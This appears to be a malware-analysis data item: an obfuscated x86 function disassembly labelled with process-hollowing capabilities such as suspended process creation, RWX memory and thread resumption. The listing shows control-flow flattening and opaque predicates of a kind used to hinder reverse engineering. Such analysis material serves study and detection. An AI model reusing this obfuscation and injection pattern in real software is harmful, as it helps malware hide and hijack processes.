Function at 0x10009ec0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x200
mov eax, dword [0x1008fa80]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x208], 0xdde91977
mov eax, dword [ebp - 0x208]
mov dword [ebp - 0x20c], eax
sub eax, 0x809286c2
je 0x10014e2d
jmp 0x10009efc
mov eax, dword [ebp - 0x20c]
sub eax, 0x81166df5
je 0x100176aa
jmp 0x10009f12
mov eax, dword [ebp - 0x20c]
sub eax, 0x817984e2
je 0x1001758f
jmp 0x10009f28
mov eax, dword [ebp - 0x20c]
sub eax, 0x81b8d82c
je 0x10017bc6
jmp 0x10009f3e
mov eax, dword [ebp - 0x20c]
sub eax, 0x81ba4502
je 0x10017e0f
jmp 0x10009f54
mov eax, dword [ebp - 0x20c]
sub eax, 0x81d4f61c
je 0x1001804d
jmp 0x10009f6a
mov eax, dword [ebp - 0x20c]
sub eax, 0x81dfd86d
je 0x1000fbe9
jmp 0x10009f80
mov eax, dword [ebp - 0x20c]
sub eax, 0x81e37356
je 0x10011204
jmp 0x10009f96
mov eax, dword [ebp - 0x20c]
sub eax, 0x81f66675
je 0x10017a8b
jmp 0x10009fac
mov eax, dword [ebp - 0x20c]
sub eax, 0x821b3476
je 0x10013cd8
jmp 0x10009fc2
mov eax, dword [ebp - 0x20c]
sub eax, 0x821d554b
je 0x1000ff50
jmp 0x10009fd8
mov eax, dword [ebp - 0x20c]
sub eax, 0x822094a5
je 0x1001479d
jmp 0x10009fee
mov eax, dword [ebp - 0x20c]
sub eax, 0x82508396
je 0x1000e7dd
jmp 0x1000a004
mov eax, dword [ebp - 0x20c]
sub eax, 0x829e6658
je 0x100153ec
jmp 0x1000a01a
mov eax, dword [ebp - 0x20c]
sub eax, 0x82fd7a07
je 0x100123bb
jmp 0x1000a030
mov eax, dword [ebp - 0x20c]
sub eax, 0x83447798
je 0x1001490e
jmp 0x1000a046
mov eax, dword [ebp - 0x20c]
sub eax, 0x8360a19e
je 0x1000ed8b
jmp 0x1000a05c
mov eax, dword [ebp - 0x20c]
sub eax, 0x8395cefb
je 0x1000fa63
jmp 0x1000a072
mov eax, dword [ebp - 0x20c]
sub eax, 0x83b17eea
je 0x100179c0
jmp 0x1000a088
mov eax, dword [ebp - 0x20c]
sub eax, 0x83b2fd71
je 0x10013560
jmp 0x1000a09e
mov eax, dword [ebp - 0x20c]
sub eax, 0x840d532a
je 0x10014926
jmp 0x1000a0b4
mov eax, dword [ebp - 0x20c]
sub eax, 0x84316f34
je 0x1000f174
jmp 0x1000a0ca
mov eax, dword [ebp - 0x20c]
sub eax, 0x8441fea5
je 0x10015a20
jmp 0x1000a0e0
mov eax, dword [ebp - 0x20c]
sub eax, 0x84e3acff
je 0x1000eb00
jmp 0x1000a0f6
mov eax, dword [ebp - 0x20c]
sub eax, 0x8508a995
je 0x100150d6
jmp 0x1000a10c
mov eax, dword [ebp - 0x20c]
sub eax, 0x8525f79f
je 0x10011d1e
jmp 0x1000a122
mov eax, dword [ebp - 0x20c]
sub eax, 0x856c6ab5
je 0x100176b9
jmp 0x1000a138
mov eax, dword [ebp - 0x20c]
sub eax, 0x85bad4fd
je 0x100109a5
jmp 0x1000a14e
mov eax, dword [ebp - 0x20c]
sub eax, 0x85c138e4
je 0x10012d73
jmp 0x1000a164
mov eax, dword [ebp - 0x20c]
sub eax, 0x86151661
je 0x10014e64
jmp 0x1000a17a
mov eax, dword [ebp - 0x20c]
sub eax, 0x86cbf2dd
je 0x100102ac
jmp 0x1000a190
mov eax, dword [ebp - 0x20c]
sub eax, 0x8738137a
je 0x1001515c
jmp 0x1000a1a6
mov eax, dword [ebp - 0x20c]
sub eax, 0x8790b8ac
je 0x10015387
jmp 0x1000a1bc
mov eax, dword [ebp - 0x20c]
sub eax, 0x87a002ea
je 0x1001444a
jmp 0x1000a1d2
mov eax, dword [ebp - 0x20c]
sub eax, 0x87bff1cb
je 0x10017999
jmp 0x1000a1e8
mov eax, dword [ebp - 0x20c]
sub eax, 0x880b1672
je 0x100167a5
jmp 0x1000a1fe
mov eax, dword [ebp - 0x20c]
sub eax, 0x88218ae4
je 0x1000e7ec
jmp 0x1000a214
mov eax, dword [ebp - 0x20c]
sub eax, 0x886c4b77
je 0x10012e48
jmp 0x1000a22a
mov eax, dword [ebp - 0x20c]
sub eax, 0x88709bfc
je 0x10010b51
jmp 0x1000a240
mov eax, dword [ebp - 0x20c]
sub eax, 0x88d76dca
je 0x10017e84
jmp 0x1000a256
mov eax, dword [ebp - 0x20c]
sub eax, 0x895d8590
je 0x100177e9
jmp 0x1000a26c
mov eax, dword [ebp - 0x20c]
sub eax, 0x89efb1e4
je 0x1000e8ed
jmp 0x1000a282
mov eax, dword [ebp - 0x20c]
sub eax, 0x8a380e4b
je 0x10013976
jmp 0x1000a298
mov eax, dword [ebp - 0x20c]
sub eax, 0x8a98f735
je 0x10017e36
jmp 0x1000a2ae
mov eax, dword [ebp - 0x20c]
sub eax, 0x8aac70ba
je 0x100141c6
jmp 0x1000a2c4
mov eax, dword [ebp - 0x20c]
sub eax, 0x8ab4a960
je 0x100154d2
jmp 0x1000a2da
mov eax, dword [ebp - 0x20c]
sub eax, 0x8af261a8
je 0x100112ea
jmp 0x1000a2f0
mov eax, dword [ebp - 0x20c]
sub eax, 0x8b52fa7d
je 0x10010842
jmp 0x1000a306
mov eax, dword [ebp - 0x20c]
sub eax, 0x8b59ea11
je 0x10016371
jmp 0x1000a31c
mov eax, dword [ebp - 0x20c]
sub eax, 0x8ba50a68
je 0x100129ce
jmp 0x1000a332
mov eax, dword [ebp - 0x20c]
sub eax, 0x8bcb1184
je 0x10013b65
jmp 0x1000a348
mov eax, dword [ebp - 0x20c]
sub eax, 0x8d56fadb
je 0x10017d54
jmp 0x1000a35e
mov eax, dword [ebp - 0x20c]
sub eax, 0x8d8347a7
je 0x1000ffbe
jmp 0x1000a374
mov eax, dword [ebp - 0x20c]
sub eax, 0x8dbd9092
je 0x100153cb
jmp 0x1000a38a
mov eax, dword [ebp - 0x20c]
sub eax, 0x8e2075e9
je 0x10012df7
jmp 0x1000a3a0
mov eax, dword [ebp - 0x20c]
sub eax, 0x8e379d28
je 0x100160a3
jmp 0x1000a3b6
mov eax, dword [ebp - 0x20c]
sub eax, 0x8e51a611
je 0x100119ed
jmp 0x1000a3cc
mov eax, dword [ebp - 0x20c]
sub eax, 0x8e71ed87
je 0x10011006
jmp 0x1000a3e2
mov eax, dword [ebp - 0x20c]
sub eax, 0x8ee2dfe7
je 0x1000f3a7
jmp 0x1000a3f8
mov eax, dword [ebp - 0x20c]
sub eax, 0x8f0d26d3
je 0x10012a3c
jmp 0x1000a40e
mov eax, dword [ebp - 0x20c]
sub eax, 0x8fdc7fc8
je 0x1000ee7c
jmp 0x1000a424
mov eax, dword [ebp - 0x20c]
sub eax, 0x9098e349
je 0x10017eea
jmp 0x1000a43a
mov eax, dword [ebp - 0x20c]
sub eax, 0x90d45f79
je 0x10016817
jmp 0x1000a450
mov eax, dword [ebp - 0x20c]
sub eax, 0x91190bcd
je 0x100136f0
jmp 0x1000a466
mov eax, dword [ebp - 0x20c]
sub eax, 0x917459db
je 0x10015ef0
mov dword [ebp - 0x208], 0x7d880d6d
jmp 0x1001823e
mov eax, dword [0x10090f44]
mov ecx, dword [0x10090f40]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x20b1daf
mov ecx, 0x2a9eb901
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x208], eax
jmp 0x1001823e
mov eax, dword [0x10090f44]
mov ecx, dword [0x10090f40]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2d77b256
mov ecx, 0xb537328f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x208], eax
jmp 0x1001823e
mov byte [ebp - 0x1ee], 0
mov dword [ebp - 0x208], 0xc3d817e6
jmp 0x1001823e
mov eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x208], 0xcf09cf3d
jmp 0x1001823e
cmp dword [ebp - 0x1f8], 0xefb8ef4
setle al
and al, 1
mov byte [ebp - 0x11d], al
mov dword [ebp - 0x208], 0xef2b4d8a
jmp 0x1001823e
mov dword [ebp - 0x208], 0xf96802b4
jmp 0x1001823e
mov dword [ebp - 0x208], 0x4bba1a
jmp 0x1001823e
mov dword [ebp - 0x208], 0x36548e67
jmp 0x1001823e
mov edx, dword [ebp - 0x1ec]
mov eax, 0x1fe8c8c8
mov ecx, 0x4055ddf1
cmp dword [edx], 0xefb8ee2
cmovg eax, ecx
mov dword [ebp - 0x208], eax
jmp 0x1001823e
mov ecx, dword [0x10090f44]
mov eax, dword [0x10090f40]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2d1b18ac
mov ecx, 0x8d8347a7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x208], eax
jmp 0x1001823e
mov eax, dword [ebp - 0x1ec]
mov dword [eax], 0
mov ecx, dword [0x10090f44]
mov eax, dword [0x10090f40]
mov edx, ecx
add edx, 0xf0439a5e
sub edx, 1
sub edx, 0xf0439a5e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2d1b18ac
mov ecx, 0x19033656
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x208], eax
jmp 0x1001823e
mov ecx, dword [0x10090f44]
mov eax, dword [0x10090f40]
mov edx, ecx
sub edx, 0xac7a7327
sub edx, 1
add edx, 0xac7a7327
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1e392445
mov ecx, 0x2d5f9cd7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x208], eax
jmp 0x1001823e
mov dword [ebp - 0x208], 0xe34d31f0
jmp 0x1001823e
mov dword [ebp - 0x208], 0xbe09286c
jmp 0x1001823e
mov eax, dword [0x10090f44]
mov ecx, dword [0x10090f40]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3c9e0d7d
mov ecx, 0xaf93092
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x208], eax
jmp 0x1001823e
mov eax, dword [ebp - 0x1d8]
mov byte [eax], 1
mov eax, dword [ebp - 0x1d8]
mov al, byte [eax]
and al, 1
mov byte [ebp - 0xd9], al
mov dword [ebp - 0x208], 0xe434b7b9
jmp 0x1001823e
mov eax, dword [ebp - 0x1d8]
mov byte [eax], 1
mov dword [ebp - 0x208], 0x1572e3ac
jmp 0x1001823e
mov eax, dword [0x10090f44]
mov ecx, dword [0x10090f40]
mov edx, eax
sub edx, 0xce574ec7
sub edx, 1
add edx, 0xce574ec7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xeb194e9f
mov ecx, 0xbe2dbe6d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x208], eax
jmp 0x1001823e
mov eax, dword [0x10090f44]
mov ecx, dword [0x10090f40]
mov edx, eax
add edx, 0xdfb812ee
sub edx, 1
sub edx, 0xdfb812ee
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6a171a88
mov ecx, 0x6a2e241a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x208], eax
jmp 0x1001823e
mov eax, dword [ebp - 0x1d0]
mov dword [eax], 0xefb8eef
mov eax, dword [0x10090f44]
mov ecx, dword [0x10090f40]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6976b550
mov ecx, 0x50d1fa40
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x208], eax
jmp 0x1001823e
mov eax, dword [ebp - 0x1cc]
mov ecx, dword [ebp - 0xc0]
mov dword [eax], ecx
mov eax, dword [0x10090f44]
mov ecx, dword [0x10090f40]
mov edx, eax
add edx, 0x76587009
sub edx, 1
sub edx, 0x76587009
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1def8820
mov ecx, 0x492f06da
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x208], eax
jmp 0x1001823e
mov ecx, dword [0x10090f44]
mov eax, dword [0x10090f40]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x81b8d82c
mov ecx, 0x8f0d26d3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x208], eax
jmp 0x1001823e
mov dword [ebp - 0x208], 0x22fd70d1
jmp 0x1001823e
mov dword [ebp - 0x208], 0x3b2c901d
jmp 0x1001823e
mov eax, dword [0x10090f44]
mov ecx, dword [0x10090f40]
mov edx, eax
sub edx, 0x45b91d4f
sub edx, 1
add edx, 0x45b91d4f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9d510f28
mov ecx, 0x886c4b77
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x208], eax
jmp 0x1001823e
mov eax, dword [ebp - 0x1bc]
mov dword [eax], 0xefb8edb
mov ecx, dword [0x10090f44]
mov eax, dword [0x10090f40]
mov edx, ecx
sub edx, 0x453e20e3
sub edx, 1
add edx, 0x453e20e3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9d510f28
mov ecx, 0x4ab02599
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x208], eax
jmp 0x1001823e
mov eax, dword [ebp - 0x1b8]
mov byte [eax], 0
mov ecx, dword [0x10090f44]
mov eax, dword [0x10090f40]
mov edx, ecx
sub edx, 0x3e874f60
sub edx, 1
add edx, 0x3e874f60
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x52bad5b3
mov ecx, 0x37e301a1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x208], eax
jmp 0x1001823e
mov dword [ebp - 0x208], 0x646c86d
jmp 0x1001823e
mov ecx, dword [0x10090f44]
mov eax, dword [0x10090f40]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9b123ebe
mov ecx, 0x62f7dc25
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x208], eax
jmp 0x1001823e
mov eax, dword [0x10090f44]
mov ecx, dword [0x10090f40]
mov edx, eax
sub edx, 0x99b95b02
sub edx, 1
add edx, 0x99b95b02
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5009166
mov ecx, 0x2b9ee983
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x208], eax
jmp 0x1001823e
mov ecx, dword [ebp - 0xa0]
sub ecx, 0x1d4cfa7e
add ecx, 1
add ecx, 0x1d4cfa7e
mov eax, dword [ebp - 0x1b0]
mov dword [eax], ecx
mov dword [ebp - 0x208], 0xdeec808d
jmp 0x1001823e
mov eax, dword [0x10090f44]
mov ecx, dword [0x10090f40]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xce7b8ff4
mov ecx, 0x7abd52c7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x208], eax
jmp 0x1001823e
mov eax, dword [ebp - 0x1a8]
mov byte [eax], 0
mov eax, dword [0x10090f44]
mov ecx, dword [0x10090f40]
mov edx, eax
add edx, 0x678a8fc7
sub edx, 1
sub edx, 0x678a8fc7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7d0828e
mov ecx, 0xaea2c07f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x208], eax
jmp 0x1001823e
mov eax, dword [0x10090f44]
mov ecx, dword [0x10090f40]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x81ba4502
mov ecx, 0xbbb569c2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x208], eax
jmp 0x1001823e
mov eax, dword [ebp - 0x1a4]
mov byte [eax], 1
mov dword [ebp - 0x208], 0x840d532a
jmp 0x1001823e
mov dword [ebp - 0x208], 0x3932b759
jmp 0x1001823e
xor eax, eax
mov dl, al
mov eax, 0x636b3cbb
mov ecx, 0x2c47e236
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x208], eax
jmp 0x1001823e
mov ecx, dword [0x10090f44]
mov eax, dword [0x10090f40]
mov edx, ecx
sub edx, 0x9fd1cf1d
sub edx, 1
add edx, 0x9fd1cf1d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x88d76dca
mov ecx, 0x96390127
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x208], eax
jmp 0x1001823e
mov dl, 1
mov eax, 0x977900f3
mov ecx, 0x1847c6a8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x208], eax
jmp 0x1001823e
mov eax, dword [0x10090f44]
mov ecx, dword [0x10090f40]
mov edx, eax
sub edx, 0xe0285b9f
sub edx, 1
add edx, 0xe0285b9f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3da5cbae
mov ecx, 0x6dc92229
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x208], eax
jmp 0x1001823e
mov dword [ebp - 0x208], 0x3346b0fd
jmp 0x1001823e
mov dl, byte [ebp - 0x8e]
mov eax, 0x829e6658
mov ecx, 0x8ab4a960
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x208], eax
jmp 0x1001823e
mov ecx, dword [0x10090f44]
mov eax, dword [0x10090f40]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x735e146b
mov ecx, 0xefb9180e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x208], eax
jmp 0x1001823e
mov eax, dword [ebp - 0x190]
mov byte [eax], 0
mov dword [ebp - 0x208], 0x580ed8a6
jmp 0x1001823e
mov eax, dword [0x10090f44]
mov ecx, dword [0x10090f40]
mov edx, eax
sub edx, 0x1ee037b1
sub edx, 1
add edx, 0x1ee037b1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x24f350cf
mov ecx, 0xc694ae11
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x208], eax
jmp 0x1001823e
mov eax, dword [0x10090f44]
mov ecx, dword [0x10090f40]
mov edx, eax
add edx, 0xe359aa38
sub edx, 1
sub edx, 0xe359aa38
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xda9f4c29
mov ecx, 0x92141ae2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x208], eax
jmp 0x1001823e
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x180]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 6]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x6d], al
mov dword [ebp - 0x208], 0xb11b9531
jmp 0x1001823e
mov dword [ebp - 0x208], 0x7704ccd0
jmp 0x1001823e
mov dl, byte [ebp - 0x49]
mov eax, 0x142dc098
mov ecx, 0xb28b89df
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x208], eax
jmp 0x1001823e
mov dword [ebp - 0x208], 0x9884ff71
jmp 0x1001823e
mov dword [ebp - 0x208], 0x95f76b4a
jmp 0x1001823e
mov dword [ebp - 0x208], 0x9a02ae8f
jmp 0x1001823e
mov byte [ebp - 0x201], 0
mov dword [ebp - 0x208], 0x9a2d369c
jmp 0x1001823e
mov dword [ebp - 0x208], 0x291c4579
jmp 0x1001823e
mov dword [ebp - 0x208], 0x2a6fb345
jmp 0x1001823e
mov dword [ebp - 0x208], 0xc9b0ec70
jmp 0x1001823e
mov dword [ebp - 0x208], 0x8ba50a68
jmp 0x1001823e
mov dword [ebp - 0x208], 0xf44954d4
jmp 0x1001823e
mov dword [ebp - 0x208], 0x822094a5
jmp 0x1001823e
mov eax, dword [ebp - 0x1a0]
mov dword [ebp - 0x208], 0x1d965698
jmp 0x1001823e
mov dword [ebp - 0x208], 0x96390127
jmp 0x1001823e
mov eax, dword [ebp - 0x190]
mov byte [eax], 0
mov dword [ebp - 0x208], 0x405fa912
jmp 0x1001823e
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x208], 0x9c918e9
jmp 0x1001823e
jmp 0x10009ee0